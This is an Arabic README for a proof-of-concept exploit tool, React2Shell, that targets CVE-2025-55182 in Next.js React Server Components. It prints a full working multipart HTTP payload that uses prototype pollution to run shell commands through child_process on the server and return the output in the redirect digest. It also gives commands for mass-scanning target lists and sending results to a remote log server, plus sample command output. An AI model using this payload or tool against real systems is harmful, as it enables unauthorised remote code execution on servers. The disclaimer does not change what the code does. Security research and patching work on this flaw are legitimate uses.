
React2Shell هي أداة استغلال لإثبات المفهوم (PoC) لثغرة CVE-2025-55182 التي تؤثر على تطبيقات React Server Components (RSC) المعرّضة للخطر في Next.js.
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
بقلم INDRA
هذا المشروع مُقدَّم لأغراض تعليمية وبحوث أمنية واختبار الاختراق المصرح به فقط.
لا يتحمّل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
استخدم هذا الاستغلال فقط ضد الأنظمة التي تملكها أو التي لديك إذن صريح باختبارها.
React2Shell هو استغلال إثبات مفهوم لثغرة CVE-2025-55182 التي تؤثر على تطبيقات React Server Components (RSC) الضعيفة في Next.js.
يرسل الاستغلال طلب multipart مُصممًا خصيصًا يستغل تدفق إلغاء التسلسل الضعيف، ويستخرج مخرجات الأوامر عبر استجابة digest الخاصة بإعادة التوجيه في التطبيق.
عند نجاح الاستغلال، يعرض مخرجات الأمر المنفَّذ مباشرةً في الطرفية.
Python 3.8+
ثبّت التبعيات:
pip install requests urllib3
.
├── exploit.py
└── README.md
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
التشغيل
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
🚀 Loaded 42 targets (HTTP + HTTPS)
🔥 [VULNERABLE] https://target.com/
💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
قد يشكّل الاستخدام غير المصرح به لهذا البرنامج ضد الأنظمة دون إذن انتهاكًا للقوانين المحلية أو الوطنية أو الدولية.
المؤلف غير مسؤول عن أي إساءة استخدام.
صيد سعيد 🕷️
| الإصدار | الحالة |
|---|
| 19.0 | ⚠ ضعيف |
| 19.1.0 | ⚠ ضعيف |
| 19.1.1 | ⚠ ضعيف |
| 19.2.0 | ⚠ ضعيف |
| 19.0.1 | ✅ مُصحَّح |
| 19.1.2 | ✅ مُصحَّح |
| 19.2.1 | ✅ مُصحَّح |
| الخيار | الوصف |
|---|
-u | عنوان الهدف (URL) |
-f | ملف يحتوي على نطاقات الأهداف |
-o | حفظ الأهداف الضعيفة محليًا |
-l | إرسال النتائج إلى خادم سجلات عن بُعد |
-h | عرض المساعدة |